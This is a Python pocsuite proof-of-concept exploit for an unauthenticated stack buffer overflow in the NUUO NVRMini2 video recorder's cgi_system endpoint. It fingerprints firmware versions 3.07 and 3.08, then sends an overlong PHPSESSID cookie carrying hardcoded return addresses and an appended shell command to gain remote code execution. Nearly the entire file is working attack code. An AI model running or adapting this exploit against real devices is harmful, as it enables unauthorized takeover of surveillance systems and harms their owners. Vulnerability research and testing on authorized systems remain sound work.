#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import Output, POCBase
from pocsuite.utils import register
import socket

def stack_buffer_overflow(command, ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #print '[+] Executing %s on %s:%s...' % (command, ip, port)
    sock.connect((ip, int(port)))
    exec_request = ('GET /cgi-bin/cgi_system?cmd=portCheck HTTP/1.1\r\n' +
                    'Host: ' + ip + ':' + port + '\r\n' +
                    'Accept: */*\r\n' +
                    'Cookie: PHPSESSID=982e6c010064b3878a4b793bfab8d2d2' +
                    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDD' +
                    '\x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40' + command +
                    '\r\n\r\n')
    sock.sendall(exec_request)
    data = sock.recv(1024)
    sock.close()
    
    # We should get a 500 Internal error in response
    return data.find('200') != -1

##
# Quickly tries to grab the version of the target. If the target is
# using anything other than 3.7 or 3.8 then we'll bail out since
# haven't tested on any other targets
##
def check_target(ip, port):
    index = req.get('http://' + ip + ':' + port + "/upgrade_handle.php?cmd=getcurrentinfo")
    return (index.text.find('<Titan>03.08') != -1 or index.text.find('<Titan>03.07') != -1)

def find_ip_port(url):
    ip = url[url.find('//')+2:url.find(':',url.find('//')+2)]
    port = url[url.find(':',5)+1:]
    return ip,port


class TestPOC(POCBase):
    vulID = '97538'  # vul ID
    version = '1'
    author = ['']
    vulDate = '2018-09-28'
    createDate = '2018-09-28'
    updateDate = '2018-09-28'
    references = ['https://www.seebug.org/vuldb/ssvid-97538']
    name = 'NUUO NVRMini2 Unauthenticated Remote Stack Buffer Overflow RCE'
    appPowerLink = 'https://www.nuuo.com/'
    appName = 'NUUO'
    appVersion = 'NVRMini2'
    vulType = 'Command Execution'
    desc = '''
         The HTTP interface exposes the binary cgi_system through the http://<target>/cgi-bin/cgi_system endpoint. Much of the functionality of cgi_system requires the remote user to be authenticated. One of the ways the system verifies authentication is by comparing the session identifier in the user's PHPSESSID cookie against the session file stored in /tmp/.
    '''

    samples = ['']
    def _attack(self):
        result={}

        ip,port = find_ip_port(self.url)

        if (check_target(ip, port) == False):
            result['result']={}
            result['result']['result'] = 'The target is not a NVRMini2 or its using an untested version.'
            return self.parse_attack(result)
        if (stack_buffer_overflow('whoami', ip, port) == False):
            result['result']={}
            result['result']['result'] = 'Exploit failed.'
            return self.parse_attack(result)
        else:
            result['result']={}
            result['result']['result'] = 'Exploit Success.'
            return self.parse_attack(result)

    def _verify(self):
        return self._attack()
        
    def parse_attack(self, result):
        output = Output(self)
        if result['result']['result'] == 'Exploit Success.':
            output.success(result)
        else:
            reason = result['result']['result']
            print("\033[0;31m%s\033[0m" % reason)
            output.fail('Exploit failed')
        return output

register(TestPOC)
